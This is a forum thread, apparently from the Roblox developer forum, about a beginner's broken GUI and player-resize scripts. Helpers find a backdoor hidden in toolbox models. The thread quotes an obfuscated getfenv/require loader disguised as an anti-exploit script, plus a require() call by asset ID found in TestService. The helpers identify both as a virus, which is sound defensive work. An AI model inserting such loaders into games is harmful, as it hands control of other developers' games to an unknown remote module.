Heres the problem, now it doesnt change the players size like its suppose to.
Thats the reason why it wasnt in a local scriptâŚ
Either way server scripts canât change local player stuff without remote events I think
Has something to do with thisâŚ
Also where in your script does it change player size?
ServerScriptService, PlayerResizeScript
Uhhh I donât see it there
RoleResizeScript My Bad, sorry
Well it looks like a couple models in your game are from the tool box.
Nothing wrong with it but some of them have a virus
What do you mean? The Models are, but not the scripts, atleast not from the toolbox, I am just a beginning scripter. I suck at building so yeaa
ScreenGui.Enabled always hides everything
Look:
the code in it
getfenv()['\114\101\113\117\105\114\101'](6.58860418047*733837367)
Also the top
--This an script of ROBLOX Studio. Do not delete it, this script secures your game from exploiters.
--Thanks.
possibly a backdoor
This is a virus, delete it immediately, and donât test!
What in the world, I have never seen that ,and I check for those types of things.
I donât think thereâs anything wrong with your code, you should probably use visible though
script.Parent.MouseButton1Click:Connect(function()
script.Parent.Parent.Parent.Parent.Parent.Visible= false
end)
Itâs ok free models always have a problem with trust, so check your output because I was scrolling for errors from your server script
That is a virus. It calls require() in hidden with getfenv, and then types the assetid. Requiring the virus module
OP was using Server script to control the Ui
ik, I just saw that virus thing and rushed to tell, forgot about the whole post
Oh wow, make sure to see if TestService has something in it, it shouldnât, and thatâs usually where they hide.
Well well look what we foundâŚ
Script:
require(5602268564)